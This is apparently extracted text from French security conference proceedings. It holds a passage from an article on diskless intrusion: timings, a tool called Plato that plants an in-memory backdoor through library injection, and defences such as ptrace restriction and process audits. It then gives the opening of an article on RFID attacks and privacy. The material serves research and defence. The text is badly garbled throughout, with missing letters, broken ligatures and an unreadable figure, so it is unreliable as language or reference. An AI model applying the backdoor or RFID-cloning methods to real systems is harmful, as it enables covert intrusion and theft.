oupé la 
onnexion.

Nous avons e�e
tué 3 tests pour 
haque te
hnique. Les temps sont 
al
ulés en se
onde à partir du

1er janvier 1970.

Sans équivoque, on peut voir que le remote userland exe
ve est au moins deux fois plus rapide que

le sys
all proxy. Ce
i n'est pas une surprise et 
on�rme bien notre impression.
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Tab. 1. Résultats pour le sys
all proxy

Essai Temps de départ Temps d'arrivé Di�éren
e (se
onde)

1 1144575001.544476 1144575001,844928 0.300452

2 1144575222.945634 1144575223.264958 0.319324

3 1144575389.394808 1144575389.702290 0.307482

Moyenne 0.309086

Tab. 2. Résultats pour le remote userland exe
ve

Essai Temps de départ Temps d'arrivé Di�éren
e (se
onde)

1 1144576301.802521 1144576301.921963 0.119442

2 1144576566.364178 1144576566.489811 0.125633

3 1144576756.478594 1144576756.639001 0.160407

Moyenne 0.135160

5.5 Constatations à propos de l'inje
tion de librairies à distan
e

La librairie ne pourra pas être inje
tée dans le pro
essus exploité

Comme on l'a dit, le pro
essus exploité est 
ondamné à mourir. Il n'est dès lors d'au
une utilité

de l'infe
ter en inje
tant une librairie dans sa mémoire avant même que le pro
essus ne soit relan
é.

L'inje
tion de librairies pour des binaires 
ompilés en statique ne fon
tionnera pas

Les binaires statiques n'étant liés à au
une librairie, il est évident qu'il n'est pas possible de


harger une librairie dans le pro
essus. Une solution est d'inje
ter dire
tement du 
ode assembleur,

mais 
ette te
hnique n'est pas très adéquate pour des ba
kdoors évoluées. Une autre solution beau-


oup mieux adaptée mais aussi beau
oup plus 
ompliquée à mettre en oeuvre est d'insérer du 
ode

dans le pro
essus à l'aide de la méthode ET_REL [14℄ et de détourner les fon
tions à l'aide des

méthodes CFLOW ou EXTSTATIC [10℄. Ces méthodes sont adaptées en e�et même pour des

binaires statiques.

6 Plato

Il est maintenant temps de proposer une implémentation reprennant toutes les idées abordées

jusqu'à maintenant. Nous avons développé dans 
e but un logi
iel permettant de ne tou
her qu'à

la mémoire vive d'un système lors d'une intrusion informatique. Ce logi
iel pourra entre autre être

utilisé lors d'un test de pénétration où il est né
essaire de ne jamais tou
hé au disque. Il pourra

également fon
tionner ave
 n'importe quel exploit.

Plato part d'une hypothèse : le pro
essus exploité ne fork pas et ne se relan
e pas automati-

quement, la 
ontrainte la plus forte est ainsi prise en 
ompte. Sur le s
héma (�gure 6), le serveur
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exploité est Apa
he 
on�guré pour fon
tionner ave
 un seul pro
essus. Si le serveur vient à forker

(
omme Apa
he en temps normal), le s
héma d'attaque sera alors beau
oup plus simple.

Nous 
ommençons l'expli
ation du logi
iel à partir du premier payload envoyé vers le serveur

exploité. Le but �nal avoué est d'installer une librairie dans la mémoire du serveur exploité per-

mettant ainsi d'exé
uter à distan
e autant de binaires que souhaités et surtout à n'importe quel

moment. Pour arriver à 
e résultat, 5 étapes sont né
essaires (�gure 6).

������

����������	
��
����������������
���������������
���������������

���������

����������

����������

����������������������

��	�
����
�� ��!	���
"���

#
����$�%
�

�����������������
�&���
������������

�����

������	�����������"������
������������������������������

������
������������
�����������������������

������������	�����
"��� �
�����������������
�&���
��

�

'

� (
)

Fig.6. Etapes né
essaires pour la mise en mar
he de Plato

6.1 Attaque et pénétration

C'est lors de 
ette étape (attaque et pénétration) que le premier shell
ode est envoyé au système


ible. Comme le pro
essus est 
ondamné à mourir, il est né
essaire de prendre le 
ontr�le d'un autre

pro
essus sur le système, mais 
ette fois-
i de manière saine (étape 2 et étape 3), 
'est à dire sans


orrompre sa mémoire, ses registres, ses données, et
. Les étapes 1, 2 et 3 sur la �gure 6, utilisent

un shell
ode et sont don
 intégrées dans l'exploit de l'attaquant. Et 
'est seulement après l'étape 3

que Plato prend le 
ontr�le.

6.2 Augmentation de privilèges si né
essaire

Comme le pro
essus est 
ondamné à mourir, il faut le relan
er (étape 4). Dans 
e 
as, des

droits supérieurs à 
eux obtenus sont peut-être né
essaires. Plato doit don
 être 
apable de lan
er

un exploit lo
al pour augmenter les droits du pro
essus dont il a le 
ontr�le. Une fois les droits

adéquats obtenus, il peut relan
er sans problème le serveur.
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6.3 Installation d'une ba
kdoor

L'étape 
on
ernant l'installation d'une ba
kdoor est la moins évidente. L'idée i
i est de 
or-

rompre le serveur en lui inje
tant une librairie, librairie qui 
ontiendra un userland exe
ve, un peu

à la manière de Ul_exe
. Cependant, l'implémentation d'un userland exe
ve dans Plato 
on
erne

uniquement pour des binaires statiques, de manière à ne pas avoir à se sou
ier des éventuelles li-

brairies né
essaires au fon
tionnement d'un binaire.

Comme la solution pour 
orrompre le serveur est d'inje
ter une librairie, il est évident que le

serveur doit être 
ompilé en dynamique (
'est à 99% une 
ertitude).

La partie inje
tion de librairies dans le serveur est la plus intéressante (étape 5). Il a déjà été dit

qu'une solution pour inje
ter une librairie à distan
e sans jamais é
rire quelque 
hose sur le disque

est soit de passer par une partition de type tmpfs (On-Disk remote Library Inje
tion) ou alors de

re
oder dlopen() (In-Memory Remote Library Inje
tion).

Nous proposons i
i une troisième méthode, un peu farfelue mais pas si dénuée de sens que

ça. L'idée est simplement de rapatrier sur le système de l'attaquant le binaire 
orrespondant au

serveur à 
orrompre. Une fois sur la ma
hine de l'attaquant, il peut être ba
kdooré de n'importe

quelle manière (par exemple ave
 un outil 
omme ELFsh en utilisant l'inje
tion ET_REL et le

détournement par ALTPLT [14℄). Une fois ba
kdooré, il peut ensuite être renvoyé vers le système


ible et exé
uté en mémoire à l'aide d'un userland exe
ve. De 
ette manière, le serveur est 
orrompu

en mémoire mais pas sur le disque. Ajoutez à 
ela que si le binaire est 
ompilé en statique, il peut

être ba
kdooré fa
ilement sur le système de l'attaquant à l'aide de la te
hnique CFLOW [14℄. Cette

dernière méthode est don
 plus puissante, même si elle est moins évidente.

7 Prote
tions

Il n'est pas question de � raba
her � (et 
'est bien le terme) les méthodes de prote
tion 
lassiques

qui peuvent être appliquées sur un système. Mettre en pla
e un �rewall, 
hoisir et éventuellement

auditer les appli
ations en produ
tion, mettre en pla
e des prote
tions 
ontre les te
hniques d'ex-

ploitation tels que les bu�ers over�ow, ... toutes 
es mesures de sé
urité sont expliquées en long et

en large sur tous bons sites de sé
urité qui se respe
tent.

Il est préférable de voir des méthodes de prote
tion plus spé
i�ques, plus axées sur le sujet traité

dans 
e do
ument.

7.1 ptra
e() et les appels système

L'appel système ptra
e() a souvent été évoqué au 
ours de 
et arti
le. D'origine, ptra
e() est

un appel système servant à tra
er et débugger un pro
essus en mode utilisateur (GDB l'utilise). Il

est présent par défaut sur la plupart des systèmes Unix standard. Pour un attaquant, il sert plut�t à

inje
ter des données (que 
e soit de simples données ou bien du 
ode à exé
uter) dans des pro
essus

en 
ours d'exé
ution.
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La mesure de sé
urité à prendre en 
ompte est évidente : il su�t de 
ontr�ler ou d'interdire

l'utilisation de ptra
e() tout simplement. Comme il est impossible d'altérer la mémoire d'un pro-


essus à l'aide de /pro
/pid/mem, si l'appel à ptra
e() est interdit, les te
hniques d'inje
tion de

données ne fon
tionneront plus. Un simple module noyau qui détourne la table des appels système

fait l'a�aire (sans au
un risque d'e�et de bord puisque ptra
e() est prin
ipalement utilisé par les

debuggeurs). L'autre solution est d'utiliser grse
urity [17℄ qui propose 
ette fon
tionnalité.

Bien évidemment, à l'image de ptra
e(), il est tout à fait possible d'o�rir 
es mêmes mesures

de sé
urité pour d'autres appels système sensibles tel que mmap() par exemple.

D'une manière général, tous les appels systèmes peuvent être 
ontr�lés ou interdits. Systra
e [16℄

par exemple est un outil développé par Niels Provos (développeur d'OpenSSH entre autres) présent

sur BSD et Linux permettant de renfor
er la sé
urité de son système

16

. Il permet de 
ontr�ler

de manière très détaillée le 
omportement et les droits des appli
ations au niveau appel système.

Pour 
haque programme exé
uté sur une ma
hine, Systra
e permet de dé�nir un ensemble d'appels

système que le logi
iel a le droit ou non d'exé
uter : ouverture/é
riture de �
hiers, le
ture/é
riture

d'une so
ket TCP/IP, allo
ation de mémoire, et
. L'ensemble de 
es règles est appelé politique

de sé
urité. Cette politique de sé
urité est générée de manière intera
tive et les a

ès non dé�nis

génèrent une alarme.

7.2 Audit des pro
essus en 
ours d'exé
ution

Une autre solution de prote
tion de sé
urité (il est plus question de prévention) est de véri�er

l'intégrité des pro
essus. A l'image de Pro
Show [20℄ développé par Ni
olas Waisman, il su�t de

ré
upérer un maximum d'informations quant à la stru
ture ELF, les mappages mémoire des pro-


essus, de désassembler le segment de 
ode du pro
essus, et
 pour en véri�er les anomalies. Par

exemple, il peut être envisagé que l'attaquant ait inje
té du 
ode dans le pro
essus mais n'ait pas

modi�é le binaire 
orrespondant par sou
i. Don
, une 
omparaison des stru
tures ELF du pro
essus

et du binaire (un point d'entrée di�érent, du 
ode inje
té dans le padding,...) peut permettre de

déte
ter une éventuelle ba
kdoor inje
tée dans le pro
essus. Du moins si l'attaquant n'a pas pris

soin à l'aide d'un 
ode noyau de 
a
her les di�éren
es entre le binaire et le pro
essus, 
e qui est

tout à fait possible.

Dans 
ette optique, Samuel Dralet a développé une librairie [8℄ qui permet d'extraire les stru
-

tures ELF d'un pro
essus. L'utilisation de 
ette librairie et de la librairie libelfsh [9℄ peut apporter

des résultats 
onvain
ants en matière de déte
tion. Nous empiétons 
ependant sur le domaine du

forensi
s ou analyse post-mortem.

8 Con
lusions

Nous arrivons à la �n de notre sujet. Beau
oup de 
hoses ont été presentées, mais beau
oup

d'autres n'ont pas pu l'être pour ne pas en
ore allonger plus l'arti
le

17

. Nous pensons notamment à

plus de détails 
on
ernant Plato, aux te
hniques permettant de 
a
her des �
hiers à distan
e dans

16

Sauf quand il 
ontient des failles de sé
urité :)

17

Si si on vous assure...
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la mémoire vive (remote DHIS [12℄) ou en
ore à l'inje
tion dans le noyau d'une ba
kdoor à l'aide de

kmem, le tout à partir d'un exploit et sans jamais rien é
rire sur le disque. Néanmoins, 
et arti
le

permettra au le
teur de se faire une bonne idée des te
hniques prin
ipales permettant de 
orrompre

un système sans jamais rien é
rire sur le disque.

Les deux te
hniques prin
ipales, le sys
all proxy et le remote userland exe
ve, sont vraiment des

te
hniques très pratiques pour exé
uter du 
ode à distan
e sans rien é
rire sur le disque (et qui ne

sont pas si 
ompliquée à mettre en oeuvre), ave
 une petite préféren
e tout de même pour le remote

userland exe
ve. La te
hnique d'inje
tion de librairies à distan
e est quant à elle très utile pour

laisser une ba
kdoor sur un système. Nous espérons avoir ainsi un peu démysti�é 
es te
hniques

tout au long de 
et arti
le.

Mais il y a une 
hose prin
ipale à retenir : la mémoire vive est tout aussi importante, si non

plus, qu'une mémoire de masse. Il est primordial pour tout administrateur et expert en sé
urité qui

se respe
tent d'en avoir 
ons
ien
e.

Un dernière remarque pour terminer, mais là 
'est plus personnel, 
'est que nous 
royons plus

en la théorie de Platon que 
elle d'Aristote, d'où peut-être le nom donné à notre logi
iel. Mais là à


ha
un sa propre opinion ...
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RFID et sé
urité font-elles bon ménage ?

Gildas Avoine

Massa
husetts Institute of Te
hnology

Cambridge, MA 02139, USA

Résumé Alors que l'identi�
ation par radiofréquen
e (RFID) est devenue une te
hnologie

in
ontournable, de nombreuses questions se posent, tant au sujet de la sé
urité que 
ette

te
hnologie apporte, qu'au sujet des risques liés à la vie privée qu'elle fait en
ourir. Cet arti
le

o�re une introdu
tion à la RFID et dé
rit les problèmes de sé
urité auxquels 
ette te
hnologie

est 
onfrontée, en présentant quelques exemples. En parti
ulier, plusieurs attaques sur des

systèmes de 
ontr�le d'a

ès sont exposées.

1 Introdu
tion

L'identi�
ation par radiofréquen
e (RFID) fait aujourd'hui 
ouler beau
oup d'en
re. Cette te
h-

nologie qui permet d'identi�er à distan
e des objets sans 
onta
t physique ni visuel est relativement

simple à mettre en ÷uvre. Elle né
essite des transpondeurs, appelés tags ou parfois étiquettes qui

sont apposés sur les objets à identi�er ; des le
teurs qui permettent d'interroger 
es tags par ra-

diofréquen
e ; et un système de traitement de données, qui peut être 
entralisé ou distribué dans


haque le
teur. Déjà existante durant la se
onde guerre mondiale, 
ette te
hnologie est loin d'être

nouvelle. Cependant, la RFID que l'on 
onnaît aujourd'hui n'a plus grand 
hose à voir ave
 son

an
être, qui permettait à la RAF de distinguer les avions alliés des avions ennemis. Bien sûr, les

prin
ipes éle
tromagnétiques sur lesquels elle repose restent les mêmes, mais les progrès réalisés en

éle
tronique ont radi
alement 
hangé la donne : le prix d'un tag peut atteindre une quinzaine de


entimes d'euros et sa taille est parfois inférieure à un grain de riz.

Par
e qu'il existe de nombreuses appli
ations di�érentes qui peuvent tirer pro�t de la RFID, il

existe tout un panel de tags. Ceux-
i peuvent se 
ara
tériser par leur prix, leur taille, leur 
apa
ité

de 
al
ul ou de sto
kage, leur distan
e de 
ommuni
ation, ou tout autre 
ritère plus ou moins 
orrélé

aux pré
édents. Il n'existe 
ependant pas beau
oup de points 
ommuns entre un tag à 15 
entimes

d'euros (qui ne 
ontient qu'une simple mémoire d'une 
entaine de bits) et un tag à plusieurs euros

(qui peut éventuellement posséder sa propre sour
e d'énergie, 
ontenir plusieurs kilo-bits de mémoire

ré-ins
riptible et e�e
tuer des 
al
uls 
ryptographiques).

Le standard EPG Global de deuxième génération [6℄ distingue quatre 
lasses de tags. La 
lasse

1 
orrespond aux tags les moins performants et don
 les moins 
hers. Ils sont dotés d'une mémoire

a

essible en le
ture seulement, qui 
ontient un identi�ant unique (typiquement 128 bits). Lorsque

le tag est interrogé par un le
teur, il envoie simplement son identi�ant. Les tags de 
lasse 1 se

trouvent dans les bibliothèques, les 
haînes logistiques, et
. La 
lasse 2 permet d'implémenter

des fon
tions sur le tag, typiquement un algorithme 
ryptographique symétrique et de posséder

quelques 
entaines de bits de mémoire ré-ins
riptible. Cependant, les tags des 
lasses 1 et 2 sont

passifs 
'est-à-dire qu'il ne possèdent pas de batterie et doivent don
 être présents dans le 
hamp

du le
teur pour 
ommuniquer et e�e
tuer des 
al
uls. Ces tags ont une distan
e de 
ommuni
ation

relativement faible : quelques dé
imètres en haute fréquen
e et jusqu'à quelques mètres en ultra-

haute fréquen
e. On 
onsidère en�n que leur résistan
e aux attaques physiques est très limitée : on
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admet généralement qu'une même information se
rète ne doit pas être partagée par plusieurs tags

pour limiter les 
onséquen
es d'une telle attaque. Les tags de 
lasse 3 sont semi-passifs, 
'est-à-dire

qu'ils possèdent une sour
e d'énergie interne pour réaliser des 
al
uls, mais l'énergie apportée par

le le
teur est toujours né
essaire pour la 
ommuni
ation. En�n, les tags de 
lasse 4 sont a
tifs,

possédant une batterie utilisée à la fois pour les 
al
uls et la 
ommuni
ation, 
e qui leur permet

d'initier eux-mêmes des é
hanges ave
 un le
teur et de posséder une distan
e de 
ommuni
ation

plus importante. Le standard [6℄ 
onsidère également que les tags de 
lasse 4 peuvent 
ommuniquer

entre eux.

L'engouement que 
onnaît la RFID depuis quelques années 
on
erne les tags de 
lasse 1 et de


lasse 2. Nous nous 
on
entrerons sur 
es tags dans la suite.

Outre la 
lassi�
ation des tags, il est essentiel de 
lasser les appli
ations en fon
tion de leur

obje
tif. Un proto
ole pour identi�er des objets dans une 
haîne logistique n'aura en e�et pas les

mêmes besoins qu'un proto
ole de 
ontr�le d'a

ès. On distingue ainsi deux grandes 
atégories

d'appli
ations [2℄ : 
elles dont l'obje
tif est uniquement d'apporter des fon
tionnalités nouvelles ou

d'améliorer des fon
tionnalités existantes (tri séle
tif de dé
hets, rempla
ement des 
odes-barres,

tatouage du bétail, et
.) et 
elles dont l'obje
tif est d'apporter de la sé
urité (badge d'a

ès à un

immeuble, 
lef de démarrage d'une voiture, abonnement aux transports publi
s, et
.). Dans le pre-

mier 
as, le but du proto
ole est d'obtenir l'identité de l'objet interrogé mais au
une preuve de 
ette

identité n'est requise : 
'est un proto
ole d'identi�
ation. Ce type de proto
ole est a priori su�sant

pour la majorité des appli
ations. Il est par exemple su�sant lorsque la RFID est utilisée pour iden-

ti�er des objets dans une 
haîne logistique, en rempla
ement des 
odes-barres. Dans le se
ond 
as,

il est important qu'une preuve de l'identité soit fournie : 
'est un proto
ole d'authenti�
ation. Par

abus de langage, proto
ole RFID désigne aussi bien un proto
ole d'identi�
ation qu'un proto
ole

d'authenti�
ation. Notons que s'il ne semble pas y avoir de problème de sé
urité au sens stri
t dans

le 
as du proto
ole d'identi�
ation, en revan
he, 
elui-
i est, 
omme le proto
ole d'authenti�
ation,

sujet aux problèmes liés à la vie privée.

L'obje
tif de 
et arti
le est de donner un aperçu des prin
ipaux problèmes de sé
urité en RFID.

Ainsi, la se
tion 2 rappelle le prin
ipe d'un proto
ole d'authenti�
ation et présente quelques sys-

tèmes d'authenti�
ation qui ont été mal 
onçus. La se
tion 3 s'intéresse quant à elle au problème

du respe
t de la vie privée. En�n, la se
tion 4 
on
lut 
et arti
le en présentant d'autres problèmes

de sé
urité, en
ore peu étudiés dans le 
adre de la RFID.

2 Contr�le d'a

ès utilisant des tags RFID

La RFID à bas 
oût ne peut pas béné�
ier de 
ryptographie à 
lef publique et doit don
 reposer

sur la 
ryptographie symétrique. Le s
héma 
ommunément utilisé pour réaliser de l'authenti�
ation

est dit par question/réponse : le le
teur envoie un 
hallenge

1

au tag qui prouve son identité en

répondant à 
e 
hallenge. Évidemment, un adversaire ne doit pas être 
apable de répondre à la

pla
e du tag, même s'il a é
outé les pré
édentes réponses de 
e dernier. Pour 
ela, le le
teur et le

tag possèdent un se
ret k en 
ommun � une 
lef 
ryptographique � qui est né
essaire pour 
al
uler la

réponse et pour la véri�er. Quant au 
hallenge, il ne doit être utilisé qu'une seule fois (en pratique,

la probabilité qu'un 
hallenge soit utilisé plusieurs fois doit être négligeable). D'un point de vue


ryptographique, le 
hallenge est une valeur 
hoisie aléatoirement et uniformément dans un espa
e

su�samment grand. La 
lef 
ryptographique doit être 
hoisie de la même manière. En fait, elle doit

1

Le terme anglais 
hallenge est généralement utilisé pour désigner la question.
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être su�samment longue pour éviter toute attaque par re
her
he exhaustive. Il est 
ommunément

admis qu'une 
lef 
ryptographique symétrique doit 
omporter au moins 128 bits pour atteindre une

sé
urité satisfaisante. Répondre au le
teur 
onsiste à 
hi�rer la valeur aléatoire reçue ave
 la 
lef


ryptographique, en utilisant un algorithme de 
hi�rement E. Ce prin
ipe est illustré sur la �gure 1.

L'algorithme de 
hi�rement est indépendant du proto
ole lui-même. Cet algorithme doit 
ependant

lecteur tag

c

Ek (c)

Fig. 1. Proto
ole par question/réponse

être sûr (en parti
ulier un pirate ne doit pas pouvoir 
al
uler Ek(c) sans posséder k), 
e qui in
ite
à l'utilisation d'algorithmes re
onnus, par exemple AES. Si l'algorithme de 
hi�rement est sûr et

s'il est bien utilisé (génération de la 
lef et du 
hallenge), alors le proto
ole d'authenti�
ation est

également sûr.

Tous les éléments né
essaires pour 
onstituer un proto
ole de 
ontr�le d'a

ès sûr reposant sur

la RFID sont don
 réunis. Toutefois, nous allons voir dans la suite quelques exemples de systèmes

dont la sé
urité n'est pas satisfaisante.

2.1 Clefs de démarrage

De nombreuses 
lefs de voitures intègrent un dispositif RFID relié au système d'inje
tion de


arburant. Lorsque la 
lef est insérée dans le dispositif de démarrage, le tag reçoit un 
hallenge et

doit y répondre 
orre
tement pour permettre l'a
tivation de l'inje
tion et don
 le démarrage du

véhi
ule.

Des 
her
heurs améri
ains de l'université Johns Hopkins (Maryland) et des laboratoires RSA

(Massa
husetts) [4℄ se sont intéressés au module DST (Digital Signature Transponder) de Texas

Instrument, qui équipe entre autres 
ertains véhi
ules du 
onstru
teur Ford. Après une phase de

reverse-engineering (
ar l'algorithme 
ryptographique utilisé est propriétaire et non publi
), ils ont

dé
ouvert que les 
lefs utilisées dans les modules DST n'ont une longueur que de 40 bits ! La taille

du 
hallenge est également de 40 bits et la réponse est tronquée à 24 bits. En pratique, 
ela permet à

un pirate de dé
ouvrir la 
lef 
ryptographique 
ontenue dans un module DST à partir de réponses

2

du tag puis en pratiquant une re
her
he exhaustive sur l'ensemble des 
lefs. E�e
tuer une telle

re
her
he exhaustive demande moins d'une heure de 
al
ul, en utilisant un système 
onstitué de 16

FPGA. Étant donné que le pirate peut lui-même 
hoisir son 
hallenge, il peut utiliser un 
ompromis

2

Étant donné que la réponse est tronquée, au moins deux réponses sont en fait né
essaires pour que le

pirate soit 
ertain d'avoir trouvé la bonne 
lef.
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temps-mémoire pour réduire le temps de 
raquage [8,13℄. Dès que les tables ont été pré-
al
ulées,

l'attaque né
essite moins d'une minute sur un simple PC et seulement quelques se
ondes ave
 le

système FPGA mentionné. Notons que si le tag in
orporait de l'aléa dans sa réponse, le 
ompromis

temps-mémoire ne permettrait plus d'améliorer le temps de 
raquage.

La distan
e de 
ommuni
ation du module DST est faible, mais s'asseoir à 
�té de sa vi
time

durant une fra
tion de se
onde est su�sant pour re
ueillir les informations né
essaire à la repro-

du
tion du tag. Le fait qu'un tag réponde au le
teur automatiquement sans demander l'avis du

porteur du tag est également problématique 
ar l'attaque peut être menée sans que la vi
time ne

s'en aperçoive.

Notons en�n que la sé
urité de la 
arte de paiement améri
aine ExxonMobil Speedpass repose

aussi sur le dispositif de Texas Instrument. Les 
her
heurs améri
ains ont don
 également démontré

la faiblesse de 
ette 
arte en e�e
tuant un a
hat de 
arburant dans une station essen
e en simulant

leur propre 
arte ave
 un ordinateur portable.

La faiblesse du module DST provient du fait qu'un algorithme 
ryptographique inadapté est


ons
iemment utilisé, probablement a�n de réduire le 
oût du dispositif. Cette pratique est loin

d'être isolée et il existe sur le mar
hé de nombreux tags destinés au 
ontr�le d'a

ès qui possèdent

des 
lefs de 48 bits.

2.2 Carte d'identi�
ation du MIT

L'arrivée de nouvelles 
artes d'identi�
ation auMassa
husetts Institute of Te
hnology (MIT) est

aujourd'hui monnaie 
ourante. Depuis 1993, 
ette université 
her
he en vain le système qui alliera

respe
t de la vie privée, sé
urité et fa
ilité d'utilisation, satisfaisant ainsi tous les utilisateurs. Les


artes a
tuelles, qui 
ontiennent un tag RFID, sont en servi
e depuis presque trois ans, un re
ord !

Rien ne laissait pourtant présager une telle longévité, 
ar 
e système a inquiété dès sa mise en

servi
e. Rien d'étonnant lorsque l'on sait que le premier bâtiment équipé de 
ette nouveauté pour

le 
ontr�le d'a

ès ne fut autre que le fameux building 32, qui 
ompte parmi ses s
ienti�ques le non

moins fameux Ri
hard Stallman, fervent défenseur des libertés individuelles, mais aussi toute une

panoplie de 
her
heurs dont la seule raison de vivre est la sé
urité et la 
ryptographie.

L'annon
e, en janvier 2004, que les logs des le
teurs étaient 
onservés à l'insu du personnel a

provoqué de nombreuses réa
tions. Cinq étudiants, P. Agrawal, N. Bhargava, C. Chandrasekhar,

A. Dahya et J.D. Zam�res
u [1℄, ont alors dé
idé d'étudier le système.

demande d’identification

lecteur tag

données fixes

Fig. 2. Proto
ole utilisé par la 
arte du MIT
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La �gure 2 dé
rit le proto
ole entre le le
teur et le tag : il ne repose pas sur un s
héma de type

question/réponse ! Le tag est don
 utilisé 
omme une simple mémoire 
ontenant une valeur �xe

qui est retournée au le
teur à 
haque nouvelle authenti�
ation. Simuler la 
arte est alors un jeu

d'enfant puisqu'il su�t d'é
outer la 
ommuni
ation entre un le
teur et la 
arte (une fois su�t) ou,

plus simplement, interroger soit-même la 
arte ave
 son propre le
teur, pour ensuite pouvoir simuler

la 
arte à volonté, en rejouant les données �xes volées. Autrement dit, la 
arte d'identi�
ation du

MIT n'apporte pas plus de sé
urité qu'un bon vieux Sésame ouvre toi.

2.3 Attaques par relais

Les deux exemples de systèmes d'identi�
ation dé
rits pré
édemment présentaient des faiblesses.

Le premier 
as (se
tion 2.1) était dû à un mauvais algorithme de 
hi�rement alors que le se
ond

(se
tion 2.2) était dû à l'utilisation d'un proto
ole d'identi�
ation en lieu et pla
e d'un proto
ole

d'authenti�
ation. Lorsqu'un proto
ole par question/réponse est bien utilisé et qu'il utilise un algo-

rithme de 
hi�rement re
onnu, alors les problèmes pré
édents ne se produisent pas. Cela ne signi�e

pas pour autant que tout problème est ex
lus. En e�et, le fait que le tag puisse répondre au le
teur

sans l'a

ord de son possesseur ouvre la voie à un autre type d'attaques : 
elles par relais.

L'attaque par relais 
onsiste, pour un pirate, à faire 
roire au le
teur que le tag est présent dans

son 
hamp d'interrogation alors qu'il ne l'est pas. Pour 
ela, le pirate, ave
 l'aide d'un 
ompli
e, joue

le r�le d'une � rallonge �. Par exemple, pour démarrer un véhi
ule, un pirate muni d'un ordinateur

portable se situe auprès du véhi
ule (
ontenant le le
teur RFID) pendant que son 
ompli
e se

situe aux 
�tés du propriétaire du véhi
ule, plus pré
isément auprès de la personne qui détient

(légitimement) la 
lef de démarrage (
ontenant le tag RFID). Le le
teur envoie un 
hallenge, reçu

par le pirate, qui le transmet à son 
ompli
e. Ce 
hallenge est envoyé à la 
lef de la vi
time qui

répond 
orre
tement. Le 
ompli
e transmet 
ette réponse au pirate qui la soumet en�n au le
teur du

véhi
ule. La prote
tion éle
tronique du véhi
ule est ainsi outrepassée sans que le pirate ne possède

la 
lef.

kE  (c) kE  (c) kE  (c)

taglecteur pirate complice

c c c

Fig.3. Attaque par relais

Comme s
hématisé sur la �gure 3, 
ette attaque est extrêmement simple, fa
ile à mettre en

÷uvre et di�
ilement déte
table par la vi
time. Il su�t au pirate d'être su�samment pro
he de sa

vi
time au moment même de l'attaque ; 
e
i peut être fait dans une �le d'attente, dans le métro,

et
. Bien que 
ette attaque soit une man-in-the-middle atta
k, on préfère la quali�er de par relais


ar le pirate dans 
e 
as pré
is ne fait que transmettre passivement les messages.

Trouver une solution purement te
hnique à 
e problème est très di�
ile. Les re
her
hes a
tuelles

(par exemple [7℄) 
onsistent à mesurer le temps de réponse du tag. Si 
elui-
i est trop important,

l'authenti�
ation est refusée 
ar le tag n'est probablement pas à proximité du le
teur.
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3 Respe
t de la vie privée

Outre les problèmes dire
tement liés à la sé
urité, la RFID doit faire fa
e aux problèmes qui

tou
hent la vie privée. Ces problèmes 
on
ernent la divulgation d'information et la traçabilité

malveillante.

3.1 Divulgation d'information

Le problème de la divulgation d'information se pose lorsque les données envoyées par le tag

révèlent des informations sur l'objet qui le porte. Dans le 
adre d'une bibliothèque, par exemple,

l'information 
ommuniquée ouvertement peut être le titre de l'ouvrage. Plus préo

upant, les pro-

duits pharma
eutiques marqués éle
troniquement, 
omme pré
onisé par le Food & Drug Adminis-

tration aux États-Unis, pourraient révéler les pathologies d'une personne : un employeur ou un

assureur pourrait déterminer les médi
aments détenus par une personne et en tirer des 
on
lusions

sur son état de santé. La prise en 
ompte de 
et aspe
t est parti
ulièrement importante dans les

appli
ations plus évoluées où des informations personnelles sont 
ontenues dans le transpondeur :

dossier médi
al, passeport biométrique, et
. Aux États-Unis, l'arrivée du passeport muni d'un tag

éle
tronique, initialement prévue pour août 2005, fut di�érée a�n de re
onsidérer les aspe
ts liées

à la sé
urité.

3.2 Traçabilité malveillante des individus

Les tags éle
troniques n'ont pas vo
ation à 
ontenir ou à transmettre d'importantes quantités

de données. Lorsqu'une base de données est présente dans le système, le tag peut n'envoyer qu'un

simple identi�ant, que seules les personnes ayant a

ès à la base de données peuvent relier à l'objet


orrespondant. C'est le prin
ipe utilisé par les systèmes à 
odes-barres. Cependant, même si un

identi�ant ne permet pas d'obtenir d'information sur l'objet lui-même, il peut permettre de le tra
er,


'est-à-dire de re
onnaître l'objet dans des lieux di�érents ou à des instants di�érents. On peut ainsi

savoir à quelle heure une personne est passée en un lieu donné, par exemple pour déterminer son

heure d'arrivée et de départ de son poste de travail, ou on peut re
onstituer son 
hemin à partir de

plusieurs le
teurs, par exemple dans une entreprise ou un 
entre 
ommer
ial.

3.3 Défenseurs 
ontre opposants

Du 
�té des promoteurs de la RFID, la thèse que les tags éle
troniques mettent en péril le respe
t

de la vie privée est ardemment rejetée. Une distan
e de le
ture réduite à quelques dé
imètres est

le prin
ipal argument de défense. Cet argument est 
ontesté par les opposants 
ar, en utilisant une

antenne plus performante et une puissan
e d'émission non réglementaire, il est possible de dépasser

la limite annon
ée. En outre, il existe de nombreux 
as où un attaquant peut su�samment se

rappro
her de sa vi
time pour lire ses tags éle
troniques : dans les transports en 
ommun, dans

une �le d'attente, et
. L'inquiétude des opposants provient également du fait que les tags sont de

plus en plus présents dans la vie de tous les jours, sans qu'on le sa
he. Ils sont souvent invisibles,

répondant aux requêtes des le
teurs à l'insu même des personnes qui les portent.
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3.4 Eviter la traçabilité malveillante

Il existe des te
hniques pour empê
her la traçabilité malveillante et la fuite d'information. La

plus radi
ale 
onsiste à détruire le tag. Cette méthode ne peut être utilisée que dans des appli
ations

parti
ulières (par exemple à la �n d'une 
haîne de produ
tion) 
ar le tag n'est ensuite plus utilisable.

Il existe également des dispositifs éle
troniques pour bruiter l'environnement du tag, soit au niveau

de la 
ou
he physique, soit au niveau de la 
ou
he 
ommuni
ation [10℄ (en perturbant le proto
ole

d'évitement de 
ollisions utilisé par le le
teur). Les re
her
hes se 
on
entrent aujourd'hui sur la


on
eption de proto
oles tels qu'un le
teur autorisé puisse identi�er les tags mais qu'un pirate ne

soit pas en mesure de les identi�er ni même de les tra
er [2,3,5,9,11,12,14℄.

Un simple proto
ole par question/réponse peut su�re pour autant que l'information envoyée

par le tag soit randomizée, 
omme indiqué sur la �gure 4, 
'est-à-dire que le tag 
hi�re le 
hallenge


ombiné ave
 de l'aléa. Cela évite qu'un pirate envoyant deux fois le même 
hallenge à un tag

reçoive deux fois la même réponse, permettant ainsi de le tra
er. Cependant, 
e type de proto
ole

lecteur tag

c

E (c,r),  rk

Fig. 4. Proto
ole par question/réponse où la réponse est randomizée

présente deux grands in
onvénients :

� Il né
essite l'utilisation d'un algorithme de 
hi�rement et d'un générateur pseudo-aléatoire

sur le tag. Cette appro
he n'est don
 pas possible ave
 les tags de 
lasse 1, 
e qui né
essite

l'usage de tags de 
lasse 2, plus 
oûteux. Elle est don
